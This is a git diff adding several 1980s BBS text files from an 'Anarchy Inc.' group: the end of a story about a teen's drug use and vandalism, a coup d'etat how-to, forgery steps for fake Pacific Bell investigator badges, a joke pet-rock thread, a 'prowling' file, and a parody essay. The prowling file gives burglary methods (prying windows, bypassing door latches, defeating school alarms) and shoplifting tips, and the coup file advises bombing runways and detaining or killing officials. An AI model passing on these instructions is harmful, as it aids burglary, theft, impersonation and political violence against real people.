on his way, and finally found the street that had the house +where the meeting was being held. He drove right past the house the first time, +but when he was coming back the other way he spotted the house by the sign that +said "Copyright Violation Meeting is Here". + + Oscar parked the car, and proceeded down the long driveway to the house, and +when he reached the door he was greeted by a particularly loud stereo blasting +"the Mob Rules" by Black Sabbath. Blade Master answered the door, and said in a +rather slurred voice "Who the fuck are you? Oh, it's just you. Come on in, +dude." Oscar gave him a funny look and then went into the house. Inside he +could see why the Blade Master had such slurred speech. There was a large +Indian water tower with a long bit of surgical tubing connected to it sitting +out on the back patio, and there were several people gathered around it, waiting +their turn to take a massive hit of THC. + + When Blade noticed Oscar eyeing the water tower, he said "Wanna get stoned? +Go on out." At this invitation, Oscar walked out onto the patio and stood behind +everybody else, waiting for a turn at the tower. As he stood there, everybody +turned around and started staring at him. Then the Burnout said "Hey, Oscar's +never been stoned! You go next!" and pushed Oscar right up in front of the +tower, which now seemed to stretch up to infinity now that he was close to it. +Burnout handed him the end of the surgical tubing and said "Put this in your +mouth and suck in as hard as you can." Oscar complied, and when he sucked in, a +lot of strange-tasting smoke filled his lungs. When he had inhaled about as +much as his lungs could handle, Oscar let go of the tubing, and was about to +exhale, when someone else said "Hey, don't do that! Hold it in as long as +possible!" Oscar suddenly held up and held his breath for quite a while, until +he could no longer stand it and had to exhale. + + It didn't take long for the marijuana to take effect. Within thirty seconds, +Oscar started swaying back and forth on his feet, and then groped for a bench to +sit on. After he had managed regain control over his legs, Oscar stood back up +and walked back into the house. He headed straight back to the living room, +where the rest of the people were watching some X-rated movie called "Femmes" or +some such thing. Oscar found everything about the movie immensely funny, and +started to laugh uncontrollably, and wouldn't stop even at the insistence of +everybody else in the room. It took quite some time for him to calm down, all +the while laughing on and off at the slightest provocation whatsoever. +Everybody knew that he had never been stoned before in his life. It showed so +much. + + After regaining his composure somewhat, Oscar went back out onto the patio, +and demanded another go at the tower. Several people (the Motorhead, the +Burnout, the Unseen Terror to be exact) tried to get him not to, but he +insisted. "I can handle this shit! Why, I've taken tons of shit like this! +LSD! You name it!" was his reply. The obvious signs of someone raving. Well, +the others finally let him take another crack at the tower, and this time he +took such a great lungfull that it put him out totally. He was out cold for a +good two hours, and he had to be shaken to be woken up when it was time for him +to go home. + + The next weekend there was no HCC meeting, so Oscar reverted to his nerdy self +for a few days, but the following weekend there was another one, one to which he +later regretted going. It was like this. First they met at somebody's house, +screwed around there, drank some beers, watched a stupid movie on HBO (aren't +they all?), then piled into cars to head over to the (now gone) Moffett Drive-in +to catch a flick there. When they turned off Bayshore Freeway onto Steirlin +Rd., they made another turn down a side street across from the theatre entrance. +When Oscar enquired why they were going down there, he learned that most of them +were going to sneak in through the exit, and a few people would go in the +entrance with the cars. Oscar chose to go in through the entrance. + + Well, after getting into the movie, the Burnout produced an ice chest full of +beers, and everybody drank quite a lot. After having more than his share of the +alcohol, Oscar started to rummage around in the Blade Master's car, and managed +to find two machettes (now you will see why the Blade Master got his name). +Oscar took these, went over to Blade and, showing him the two knives, said +"What're these for, Baron?" Blade took one of the knives and said "Watch this" +as he cut the cord to a drive-in speaker and threw the speaker off into the +bushes. Oscar watched in amazement and, after Blade was done, he ran off +gleefully to hack off his own share of speakers. + + Oscar ran around the parking lot, hacking off speakers until while he was in +the process of hacking one particularly obnoxious speaker off, he was tapped on +the back. When he turned around, he was greeted by a police officer with Blade +Master in tow. Oscar was shocked, and dropped the blade to the ground. The cop +said "Now just what the HELL do you think you're doing?" Oscar could only manage +to mumble a few unintelligible words as the cop dragged him off. + + When everybody else saw what happened to Blade Master and Oscar, you can +imagine what they did. They rushed to pack everybody and everything else into +the cars, and they rushed out through the exit, managing to get away without +being associated with the two now-arrested persons with deadly weapons. Now +Oscar was really stuck. He couldn't get out of this one by simply forging a +note from his parents. + + When the Mears house received a phone call from the Mt. View police +department concerning their son, there was an instant uproar. Oscar's parents +immediately climbed into the car and drove straight down to the station house to +retrieve their "ignorant little bastard" (to quote Mr. Mears while in the car) +of a son. For some strange reason, Oscar didn't mention the HCC or anybody else +associated with it, so he got all the blame leveled at himself, and he was very +sorry for what he did (for two whole months to be exact). + + Here ends volume two of the Oscar Mears saga. Preview of coming attractions +in the amazing saga of Oscar Mears: The Beach, Oscar's conversation with +"Fifi", Oscar's first Rock Concert. + +(C) 1985 by Nobody in particular. +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/overthro.ana b/textfiles.com/groups/ANARCHYINC/overthro.ana new file mode 100644 index 00000000..74576a91 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/overthro.ana @@ -0,0 +1,217 @@ +v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v +v^v^ ^v^v +v^v^ How to Overthrow a country ^v^v +v^v^ An objective essay written by Senator Bunker ^v^v +v^v^ ^v^v +v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^v^^ + +Introduction by Someone Else +---------------------------- + + I've been meaning to write this file for months, but it looks like the good +Senator from California has put forth that extra effort I was too lazy to make +in putting this together. This is not a humorous article, to bluntly say; it is +designed to inform you of proper execution of coup d'etat, that 'stroke of +state' that topples governments so often these days. Enjoy. + + +I. Before you begin +------------------- + + Subjugation of a nation is a tremendous undertaking requiring foresight, +ingenuity, and careful thought. The first task of many is to decide whether the +country is a suitable candidate for a drastic and sudden change in government. +The degree of difficulty varies with size, population, political awareness, and +literacy. + + The large state, tending to contain a greater number of persons, differs +substantially from the small state in that the body politic is much more complex +and hence more difficult to seize control of. It is generally advisable to +tackle a smaller, unimportant regime rather than a country that, if seized, +might draw a foreign power into the coup hence rendering it a failure. + + One thing to do before attempting anything of this kind is to make sure who +your friends and allies are. With a little effort, it is possible to gain a +mass of supporters such that it is quite difficult to quell your actions. A way +to do this is to select (if possible) a nation whose government does not have +support of all of its classes (poor, rich, middle). Or, if neccesary, lure to +your cause a religious minority, or ethnic minority, that already has grievances +against the current regime. Perhaps you might form a coalition. Summarizing, +it is a requisite to get at least some support besides from soldiers of fortune, +who are generally "gung-ho" incompetents anyway. + + Ideally, you should be part of some branch of the armed forces, police, +national guard, or some government agency equipped with personnel trained in the +use of weoponry. In the public's eye, you already have some sort of authority, +so a little more authority couldn't hurt, could it? + + So, now what kind of government should we tackle? A democratic? Maybe. They +are usually fragile, anyway. But much of the international community will frown +on your taking a small, helpless, struggling democracy, and perhaps take actions +that are unfavorable. How about a Marxist dictatorship? Now, that's a good +idea. Most of the time these are anti-communist, even though they receive aid +from the U.S.S.R., so it is a very good probability that Russia will not jump to +help them. The Soviet Union waits to see if the new government will be +pro-Soviet, not pro-Marxist, so you will be safe for the first few days. Also, +not much of the world likes Marxist dictatorships. + + If you have a choice of which nation to put down (you usually don't), do not +select a NATO country, or some other nation that receives $4 billion annually, +because superpowers do not like to see their money to go down the drain so +suddenly. Pick Martinique, Gabon, Equatorial Guinea, or Surinam. If you're +white, don't go in an African dump unless you have a deathwish. Plus, if the +country has low literacy levels, good, for the people there won't know what is +happening. + + Things to avoid: + + - High literacy rate + - Large per capita income + - Voter participation + - An "established" nation + - Countries with allies + + Things to look for: + + - Civilian unrest + - Minority in control + - Centralized government + - Political apathy + + Note: An OK from Washington or Moscow couldn't hurt. + +II. The Mechanism of the Coup d'Etat +------------------------------------- + + The first thing that should be done is the neutralization of all relevent +political forces, including the general infrastructure of the state. This +includes, among other things, highways, telecommunications facilities (including +radio, TV, etc.), airports, and so on. The reason these are political forces is +that they are controlled by nonmilitary portions of the state (in the event you +were wondering). Unfortunately, these are a large and spread apart group of +targets, so if you have no tactical or popular support your attemps will be +fruitless. + + Undoubtedly the absolute first thing you should do is to cut all forms of +communcations with the outside world off at once. Be sure to include: +Telephone, Telex, Wireless, Radio, etc. THIS IS MOST IMPORTANT. It will +prevent the present government from mobilizing its forces, deploying their +forces in strategic locations that are not normally guarded, etc. It will also +prevent them from calling outside for emergency help, jeopardizing your hard +work, not to mention your life. Soon the rest of the world will know something +has happened, but they will not know who has taken the government, how the coup +is progressing, and so forth. Make sure all forms of communications are +completely cut. + + One other important thing to do is remove air facilities from the use of the +loyalist forces. It is not necessary to seize control of the airports; all that +is needed to be done is to close the airports. A bomb or two in the middle of +the runways will do nicely, or perhaps a couple of cars parked there, with +snipers preventing their removal. You should not rely on airfields for your +coup; if you rely on them and they are shut down, you will encounter problems. +The old government will probably rely on them, and you will easily be able to +prevent their usage of them. + + At an early time during the coup it should be evident as to its success. +Government officials and employees of higher rank have a choice to make-- +whether to remain loyal to the old government, or to join the new attempt at +government. If they stay loyal, they may be richly rewarded; if they defect, +and the coup fails, they will be out of a job mighty quick. The success of your +coup depends much on whether many of these officials decide to join the coup. + + In addition to those people who remain loyal and those who join your cause, +there is a "wait and see" element involved. Often this is the majority of the +population, especially if the present regime is somewhat repressive. They don't +want to show too much enthusiasm for either side, until it is more or less +decided who will gain control. It's best to plan a sudden, abrupt seizure of +all facilities to make the coup seem a smashing success; if this is done, the +undecided will know to whom to turn. + + When you take power from the original government, it is best to know who +actually runs it. In most of the world (but not in the U.S.) there are two +governments: 1- a largely ceremonial government, the part that people see on +television and at most public events. They are, for the most part, what is +known as a "figurehead", set off to the side to keep the government's "alter- +ego" working on policy. 2- the "real" government, the government that +formulates domestic and foreign policy, makes all executive decisions, and +basically controls the infrastructure of the nation. The part of the government +you will need to take is (obviously) the latter. It is composed of the +executive head (called by whatever title he may hold- Prime Minister, President, +General Secretary, etc.), ministers, and various deputy and second ministers who +make small yet influential decisions. + + The people you are most interested in detaining (or bumping off) are the +Minister of the Interior (he normally supervises the police forces), the party +leaders (of the ruling party, or of the only party, if a one-party state), the +Minister of Defense, and the central figure of the "real" government. Once +these people are neutralized, in one way or another, the basic functions of the +state will be under your command, at least temporarily. + + What is often done is to detain (under house arrest, of course) the +aforementioned officials, and leave the ceremonial portion of the government +alone. This is done to give an aire of legitimacy and continuity after such an +abrupt turn of events. Later, these may be kept or allowed/forced to leave, as +need arises. + + You will not stay in power for long if you do not exert some sort of influence +over the armed forces. The military has the ability to remove virtually any +threat if perceives from within the boundaries of the nation-- especially YOU. +If you are a foreigner, and do not have (or used to have but have now lost) +support of the militia, prepare to die. You as a person will cease to exist, +unless you leave the country. And, always have several prepared escape routes +planned out in advance-- even the perfect coup d'etat will have its +complicatons, and there will be things that you have overlooked. That is why it +is best to have thoroughly studied the past and recent history of that state. +Do your homework! If you do you will be richly rewarded. + +III. After the Coup +-------------------- + + Once you have removed the major functions of the government and bureaucracy +from the Loyalist government, you will not yet be in solid control of them +yourself. You will want to retain your control, and thus prevent a counter-coup +from ensuing. Your new regime will be weakest at this time, and many times some +other group seizes the reins of government hours after a coup d'etat-- and this +group is not necessarily the old loyalists. The military, political forces +within the nation, and the public must all be satisfied to some extent in order +for you to continue your rule. This can be attained either by a show of force, +or by concessions made to any of these groups, such as a democratically elected +government in the near future, or granting the military more influence over +political decisions, and perhaps quickly promoting a number of young officers +that proved faithful during the crisis. "Promote" those officers who have clout +but you suspect might try to take more power for themselves to desk jobs, or +remote outposts. And give them all pay raises, if at all possible. + + The goal of the new regime is to "shear" off the top layer of government, and +more or less retain the old bureaucracy. Lower officials should be made to feel +as if little or no change has taken place, and whatever change that has occurred +is for the better. After a short while these people will realize that the new +government is fully in control, and all will be calm and orderly. + + Mass media will act as a vehicle to assert your control. Write the first +communique as a positive, necessary step for a long-needed change. Reassure the +people that the coup is a revolt for the masses-- not inspired by communists, or +an extremist group, but by the public in general. Display the national symbols, +and inspire the feeling of patriotism and unity. These techniques were used +quite successfully so recently in the 1985 coup d'etat in the Sudan. People +poured into the streets, waving the old flag of the country, and having an +all-around good time. A popular general was instated as the new chief of state, +and a democratic government was promised. + + Lastly, your new regime has to be made to look legitimate in the eyes of the +international community. Show evidence of atrocities made by the former +government, witnesses, etc. Take positive steps in the direction of popular +democracy, promise elections, and invite the foreign (especially American) press +into the country to see these steps. Soon the world will forget about your +coup, but whenever your country is in the news, they will remember this. + +IV. A Final Word +---------------- + + You will probably realize now that the fast, simple coup was actually the +result of much swift planning and hard work. The coup is not an easy thing to +accomplish-- should you be planning one of your own, know what you are doing and +be sure to succeed. Hopefully I have been of some help. + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/pacbellf.hum b/textfiles.com/groups/ANARCHYINC/pacbellf.hum new file mode 100644 index 00000000..713607d5 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/pacbellf.hum @@ -0,0 +1,112 @@ + + + ------------ + Anarchy inc. ...proudly presents... + ------------ + -HOW TO FORGE PAC*BELL CARDS- + + These come in handy if you are playing around in a bridging head, also known +as AT&T cans, when some duty-minded jerk says "Hey, you kid! What the hell do +you think you are doing in there!?!" You flip out your card and say, "I'm cg an +investigation on a if you would move on, so as not to draw any unnecesary +attention to me, thank you." If the jerk says, "Yeah, well you don't look like +a telephone worker to me, where's your hat, van, and funny little blue and +yellow jacket?" you tell him that if you had those, the person suspected of +comitting toll fraud might see, and thus lay off for a while. + + These are easy to make... +What you need: +poster board +a school picture +an old picture printed on kodak paper +a credit-card (or something shaped like one) +the yellow pages +lamination labels +glue +scissors or exacto knife +a piece of paper +a badge holder (optional) + + Anyway... you take your credit card (or something shaped like one) and trace +its shape onto the poster board and old picture printed on kodak paper. Cut +these out. Now print the following (with a printer or typewriter) onto a piece +of paper. + + Pacific*Bell + Special Investigations + Division (a few letters and numbers, like "FP2600") + Your Name + Agent #(a few more letters and numbers, like "10H22C69") + Valid until (a date, like "6-19-86") + X_____________________ +It is perfectly fine to put a fake name on it, just as long as you remember to +sign the same name in the blank marked "X". It would look pretty stupid to havea card with printed name " + "Matt Ackeret" +signed : + Eric C. Thompson +now, wouldn't it? + + you trace your credit-card shape onto this so the bottom right hand corner of +the informatin is near the bottom right hand corner of the card and cut it out. +Glue this onto your poster board card. Take your yellow pages, see how on the +front cover there is a grey strip at the top with "Pacific*Bell" written on it +in white? If you have white pages and yellow pages crammed in the same book +because you live in a small area, the strip will be red. Anyway, cut the words +"Pacific*Bell" out with about an inch and a half of grey left on each side. +Take this and put it on the front of your credit-card shape so the words are +centered, the top edge of the piece is aligned with the top edge of your +credit-card shape, and the words are right-side up. Turn this carefully over +and tracethe little bits of credit-card shape onto the back of your grey piece +with wordslike this: + + _____________________________________________________ + ! // \\ ! + ! !! !! ! + !_______!! !!_____________! + /! ! ^ + pencil line/ ! credit-card shape ! ! + ! ! grey piece + \___________________________/ with words + + Now trim your grey piece on the pencil lines. Now take your school +pictureand trim it so it is the same height as the information on the +cardboard. Trim the width so it looks good and will fit just so if placed on +the left edge of the card, there will be about 1/4 inch between the right edge +of your picture and the information. position your grey piece at the top of +the poster board card and your picture right under it, left edge aligned with +left edge of card, like this: + + _______________ + / \ + ! Pacific*Bell ! + !___________________________! + ! ! Pacific*Bell ! + ! . . ! Special Investigat! + ! \___/ ! Division FP2600 ! + ! ! Me Happy ! + ! ! Agent #10H22C69 ! + ! ! Valid until 6-19-8! + !_______! X_________________! + \___________________________/ + + Now trace along the edges of your picture and grey piece and cut that part +off. Now take your old picture printed on kodak paper which is now cut into a +credit-card shape and spread glue all over the color side. Fit your picture, +grey piece, and information on (just like doing a jigsaw!) and wait for the +glue to dry. When it does, take your laminating stickers (which are clear +things you sandwich other flat things between and they laminate it, you can get +these at most stationary stores.) and sandwich your card in between two. Trim +this so it looks like a card and put it in your wallet, or you can buy a badge +holder from an office supply store and pin it to your chest or inside your coat +or wherever. Happy phreaking! + + Origianal idea and instructions by The Anarchist + Instructions modified by Havoc the Chaos + Typed by Havoc the Chaos + Havoc the Chaos and this text file are properties of Anarchy, Inc. + All rights on death row. + (C)opyfreely, I don't care.... + +________________________________________________________________________________COMING SOON!!!! - How to Hijack the Space Ace, er, Shuttle.... watch for it! + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/petrock.ana b/textfiles.com/groups/ANARCHYINC/petrock.ana new file mode 100644 index 00000000..be34a62a --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/petrock.ana @@ -0,0 +1,163 @@ + ------------ + Anarchy Inc. ...Presents... + ------------ + + The Pet Rock Files! + From The Prophet's Forum <17> + of The Haunted House (415) 941-7256 + + +* Msg by: A Modem User (#014) +* Posted: Mon Oct 14 3:40 PM + + + "MY PET ROCK" + A thesis by: A Modem User + +My pet rock's name is George. He is very neat. He is a lovely shade of gray. +He listens to my every command, especially "Stay". He does not eat or make +messies around the house. When I get mad I throw him at people. He is my +buddy. + + + +* Msg by: Raat Tank (#306) +* Posted: Mon Oct 14 5:10 PM + + "THEY DO" + a BS report by Raat + +The Reproduction of Pet rocks is difficult, and nearly impossable. It involves +two rocks gettin' together and doing 'something naughty'. + +The first rock (for scientific purposes we call the rocks A and B), rock A, must +somehow get on top of rock B. This is usualy accomplished by:- + +1.) Your mother cleans up your room and puts the rocks on top of each other, 'so +she can dust'. + +2.) You are feeling 'excited' and decide to put one rock on top of the other for +kicks no I don't think so either + +3.) The third and most uncommon is that the rocks roll off the table and land on +each other. + + +Then rock A (who is on top) tries and tries to chip himself ( This is done by by +rock A moving back and forth on top of B really vigorously ) Once he has chipped +himself he will fall off rock B and lie panting on the floor. + +Rock B, now somehow absorbs the chip of rock A (The scientists of the National +Enquirer are still researching how) and then begins 'breakdown' + +Breakdown: this is what happens after the rock absorbs the chip of the other +rock....If ya didn't guess already. + +after the chip is absorbed it is broken dow into smaller chips by rock B's +'grinder'. The small chips then preceed through rock B's internal pu...cat, +(throat clearing sound) and into the rockerus, here the chips begin to struggle +up the Rockiducts to reach the Rockary. When and if, the chips get to the +Rockary, they then try and break through the Rockcell and if they do (very +unlikely 'cause the Rockcell is made of granite) the Rockcell rolls down the +Rockiducts and comes to rest in the Rockerus, where it grows and expands. After +2 months the baby rock is shaped and after about 950 grueling months, the baby +rock is conceived. This usually causes Rock B to break (or in human terms +..die) If the momma rock dies then baby rock goes to an orphanage and waits to +be picked up and carried home. These orphanages are called 'beaches' and +'quarries' in human terms. Baby Rocks reach adulthood in approxiamtely 200 +years. + + >>==-->RT<--==<< + + +* Msg by: The Saracen (#294) +* Posted: Mon Oct 14 9:14 PM + + + What is the most interesting, or innovative trick you have pet you're +Pet Rock? + +I taught mine to ATTACK. So far, I haven't used it much, and unfortunately, he +still needs a little help in this field. Also, making a Pet Rock ATTACK too +much will cause it to chip and maybe get pregnant (as stated in above +msgs)...Please use this command with care! there are already enough abandoned +Pet Rocks out there! Did you know that many people actually take their Pet +Rock, once it is past the 'cute' pebble stage, and set it free in fields or +mountanous areas. Some people just leave them on the road. Not only is this +dangerous to the poor defenseless rock, but passing cars may suffer, depending +on the size of the pet. In closing, let me state...NEVER let a young child go +unsupervised around a Pet Rock trained to ATTACK, most children are prone to +making the pet rock attack such fragile items as windows, and their best +friends...So, remember, a Pet Rock is only as harmful as the one who trains +him...Thank You...K-bye + + + + Saracen... + +-BfB- + + + +* Msg by: Sir Hydra (#198) +* Posted: Mon Oct 14 9:27 PM + +Sorry, whoever posted that theory on rock reproduction. A more correct and +accurate theory: + +Rocks slowly accumulate dust, from moving air currents. When they get big +enough, and are told to "Attack", eventually, they chip (fission). + +If you leave an abandoned pet rock long enough, it will grow into a mountain, +then into a tectonic plate, and eventually, will reproduct massively through +lava pressure from the core. Thus, it is not recommended that you leave your +pet rock unattended for periods longer then 1 geological era. + +I hope that's settled the issue. One other thing- yes, you can tell rocks +to "attack", but it requires assistance in the form of YOU. Now, should we +instigate rock control? Remember: a rock is as dangerous as its owner. + +On the other hands, if rocks are outlawed, only outlaws will have rocks. + + Sir Hydra + + +* Msg by: Iz Ugily (#303) +* Posted: Mon Oct 14 11:59 PM + +Don't seem to like me very much, they always try and run away. I guess that +they just can't relate to me, I just don't get stoned often enough anymore.. +learned all sorts of useful 'tricks'. Not only did I teach him to 'ATTACK' but +I taught him to come back by yelling the command 'DICK- HEAD!' It always seemed +to work, but he couldn't control his affection. By the way, he and Sandy just +had a baby, Pebbles... + +Iz + + + +* Msg by: The Watcher (#313) +* Posted: Tue Oct 15 2:38 PM + +Train your pet rock to Smash, Guard and Dent. + + +Smash: Rocks can do this quite well. I trained my rock (may God rest his soul) +to Smash. Whenever I gave the command, he would fall off the shelf or table he +was sitting on and smash whatever was underneath. One day, I mistakenly told h +him to smash, forgetting that he was on the ledge of a 20-story window. + +Guard: Another pet rock that I had could do this very well. I kept him around +t my desk, and he would guard all those loose papers that were lying around. +Un- fortunately, my parental unit decided to clean my desk once when I was on va +vacation. + +Dent: I have trained my current pet rock to dent things. He can put a fairly +good-sized dent in an an enemy's car or front door, like he did to the vice- +principal's car once. I hear that it cost around $500 to fix that... + + + + *={ tW }=* +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/prowling.hum b/textfiles.com/groups/ANARCHYINC/prowling.hum new file mode 100644 index 00000000..951ce644 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/prowling.hum @@ -0,0 +1,112 @@ + + -_-_-_-_-_-_-_- + Anarchy inc. Proudly Presents: + _-_-_-_-_-_-_-_ + + MISCELLANEOUS STUFF + by: + ----- -- + !!--! avoc + ----- ------- + !! haos + ------ + + PROWLING: + Prowling. I like the sound of that. Reminds me of a cat,, slinking through +the night. Isn't that the idea of it? Basically, all you need to do is wear +dark clothing, sneakers, know how to keep quiet, and remember the 2 basic rules +of all sneaks: 1) Don't be dumb, 2) Don't get caught. Prowling is the basic +skill for things as ghetting, trashing, and roofing. + + ROOFING: + Roofing isn't particularly useful, just fun. There's nothing to it, really, +just climbing and observation skills are needed. Remember to keep quiet if you +do it in the daytime, The Moon Roach and I got caught 'cause we were jumping +on skylights, bouncing tennis balls, and mooning the parking lot - dumb. + You usually get onto a roof from the outside, but if you're lucky, you can +get up from a trapdoor or something from inside. Moon Roach, The Daredevil, +and I were hanging around the Cow Palace after a Yes concert, and we went back +in about an hour after the show was over, right past security guards and +janitors. We went -everywhere- in there, including the roof. + Other roofs attained by Anarchy inc. members: Vallco Mall, Sunnyvale Town +Center, several various houses, Monta Vista High, Payless, a few minor +shopping centers, and Jollyman School (big deal). + + TUNNELING: + This is just going through the tunnels where a waterway (one of those +ditches you see from time to time) goes under a road or plot of land where +a 6-foot wide ditch would be unappropriate decor, like a school. This, again, +serves no useful purpose other than fun, but they also make good testing +grounds for any explosives you may have made (naughty you! heh, heh...*BOOM*). +Bring a flashlight and 2 plastic garbage bags with matching rubber bands for +each person against a puddle of epic proportions. Spray paint is optional. + + AVOIDING SECURITY: + This is useful for things like concerts if you want to meet the band or +something. Make your way sneakily to somewhere close to the guard and have +a friend be somewhere in the sight of the guard, but sort of far away. +He should do something distracting now, like doing a rain dance in the nude, +or sitting down with a bag of ants and a hammer and smashing them one at a +time. When the guard goes over to inspect your friend more closely, slip by. + + GHETTING: + This is your basic breaking and entering and burglary. I call it "to ghet" +(pronounced 'get') because I don't like the soundn of "breaking & entering +and burglary". The eaisiest way to get (not ghet, not yet) into a house is +through one of those "burglar-proof" windows. Stick a key or small piece of +metal in between the bottom of the screen and the window pane and pry it out. +Now put the both of your hands on the window and press hard while sliding the +window open. Gloves should be worn unless you don't care if they have an +excellent set of all your fingerprints. + The second way to get in is through a door which doesn't have a deadbolt. +Just take a coat hanger and bend it into this shape: ======== +Slip it behind the little metal block which sticks ! +into the doorjam and pull towards you, but not too far \======= +or the thing will just snap back and you'll have to try again. + If the people were stupid and put a door on with hinges on the outside, +just remove the hinges. This can be done either by unscrewing them or by +pulling the pins out with the pair of pliers. + Of course, there's always lockpicking, but this is hard if you're not good +at it, or don't have the right tools. Practice at home until you get really +good at it before you try it out somewhere. Some locksmiths sell lockpick +sets. + If you're ghetting something from a school (e.g. computers, chemicals) or +someplace with an alarm, look for the place to turn it off. Sonitrol, which +most schools use, is turned off by a vending-machine type key, so jam some +air-hardening clay into there, let it dry, and use it as a key. Now you can +get in normally. + + PHINDING: + This is when you phind something and keep it, you're just helping whoever +lost it, lose it. It's also called shoplifting, but I don't like the sound +of that either, so it's called "phinding" from now on. + When you go phinding, remember not to phind more than one (or two, if +they're small) thing at a time for several reasons. One is that the more +things you slip into your coat or backpact, the more chances are that some +prude will see you. Another reason is that it may get to me too much for you +to handle normally, and things may drop out as you're leaving - not good. +A third reason is that >IF< you do manage to get caught, well...if you were +a store owner, how much more pissed would you be at someone who had his +jacket and backpack full of stuff than a person with a book? + Also, don't be a kleptomaniac, phind only things you need. A member +of Anarchy inc., who wishes to remain anonymous was recently caught steal- +ing fish eggs...one of each color. Fish eggs!? Remember, the more things +you phind, the more the odds are bumped up against you. + Oh, remember, when you are phinding things, don't act abnormal, like +they always do in those after-school specials. You know what I mean, +standing in front of the item you're planning to phind for 5 minutes looking +around in every direction possible and then not noticing the clerk walking +up behind you. + + The first in a series of "MISCELLANEOUS NASTIES" files. + Anarchy inc. "We take care of our own." + + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/reality!.hum b/textfiles.com/groups/ANARCHYINC/reality!.hum new file mode 100644 index 00000000..7a45dbf7 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/reality!.hum @@ -0,0 +1,115 @@ +---------------- + Anarchy Inc. ... somewhat proudly presents ... +---------------- + +(.... Daredevil, Ruby Tuesday, Modem User, Surf Rat, Dark Shadow ....) +(.... Senator Bunker, Havoc T. Chaos, Moon Roach, Lord Omega ....) +(.... The Misfit, Eric C. Thompson, and Alexander of Atlantis ....) + + One of our somewhat more lugubrious and effervescent philosophical ideologues +concerning one of the superior levels of the metaphysic... + + W H Y R E A L I T Y I S N ' T + + An exploration, an explanation, and an exultation into one of the fascinating +fields of one of the most important topics in our merely mortal selves... + + Written by, and carefully thought out for at least 2 1/2 minutes by this +Senator Bunker, a distinguished Congressman from the State of California, The +United States of America, Western Hemisphere, The Planet Earth. + + .. Now that all that crap is done with (and done with quite well, I might +add) it is time to get down to business ... + + Reality. A figment of your and my imagination. True? Maybe. If you have +ever just sat back, and watched all those people go all different directions all +in a hurry to do something that needn't really be done, good for you! Under- +standing of that vital concept, the concept of unmattering oprendidities, of +chickens with their heads cut off, doing their own thing, and none of it +mattering, is a first step in discovering why reality really is not, and you are +part of your own id [a little Freud, pardon the interruption.]. If you have not +done this, do it now. Proceed to the most local of the many intersections of +superhighways in this area, and observe the lemmings. See them scurry about? +That is exactly what you want to avoid. Lemmingism. It is something this world +can do without. + + But we digress. We were discussing reality. Now all those people, all doing +different things in the pursuit of nothing is very real for each one of them. +It is not, however, real for us. They all have jobs, and we are unemployed. +That's why you're reading this right now. Get a job! No, no! What am I +saying? If you've got a job, and have to leave your home sometimes to get +there, quit! Dispose of your job along with that tomato pizza (huh?) you ate +last night. Sent it right to that porcelain worship vessle (a toilet, or more +politely, a loo, or latrine, what-not). You are free! No job! Whoopeeee! + + It's OK to have a job, if you don't have to leave your home. Why bother to +abandon your abode? Of course, It's all right to leave to party, but that's a +different kettle of fish. Lord Omega is sure to have one soon enough, perhaps a +four- of five- kegger. Go there, have a good time, but don't get a job. You +will just be another of those lemmings, and that's no good, right? + + Back to reality. Or lack thereof. That's what this piece of mellow mush is, +isn't it? Yes. Now I remember. Each person lives in his own little reality, +and sometimes (even most often) he is totally unaware of those realities all +about him. People claim their own piece of land, in their car, and if anyone +tries to butt in, or get in the way, Oh boy, they go boom! That's -my- car, and +you're not welcome. This is -my- reality, so stay out. That's it. [Pardon the +interruption, I've just experienced an epiphone, the light bulb reflex, so much +popularized by cartoons of our day. A light bulb, in a puff, suddenly appears +over the head of the individual, and the studio audience is made aware through +visual, rather than mental means. Quite unfortunate, really. Pity]. + + What's real for you is -=-not-=- real for another person. For instance, most +people don't have modems. Perhaps since you have a modem telecommunications has +become a large portion of your life. This is bad. Real bad. A little tele- +com is good, but only so much. Too much and you turn into a gumby. You know +them. They're all around you. Maybe I should write "Life of a Modem Gumby". +No, I'll let Harrision do that. He's good at that sort of thing. Better yet, +just forget the whole thing. + + Well now, am I boring you? Good. Y'all need some sense driven into you. +Some of you, anyway. What's real for you is -=-not-=- real for another person. +Hmm. Pretty strong words. Indeed. In fact, the converse as true as well. It +works both ways. What's real for another person is not real for you. And I can +prove it. Almost. A large portion of the world populus lives in a dream world. +You know some of these people. So do I. Maybe you're one of them. If you are, +you don't know it yet. Those people live their lives as if they were a dream, +and everything they dream is real to them. And they will never know that it +isn't. Reality isn't. Theirs isn't, at least. + + And neither is yours. How do you know for a fact that you are not dreaming +you are reading this T-file? You don't. Nobody does. Nobody ever will. +Nobody ever can know. Because reality isn't. There are just too many realities +for them all to be true, and if you think one is, how will you know you've chose +the correct one? + + You think I just went off the deep end. That's a natural response, after just +having all you fundamental beliefs and ideals questioned. If you don't think I +just went off the deep end, good for you! You're real! At least to some small +extent. For the rest of you, I suggest you seek counseling. If there are no +counselors in your specific reality, sit crosslegged on a large mountain top and +repeat the words "Maharishi est spiritum" a few times, and meditate to yourself +for an extended temporal period. When you feel you have accomplished your +self-inspired nirvana of the sages, hip-hoppity down the mountain to the candy +store 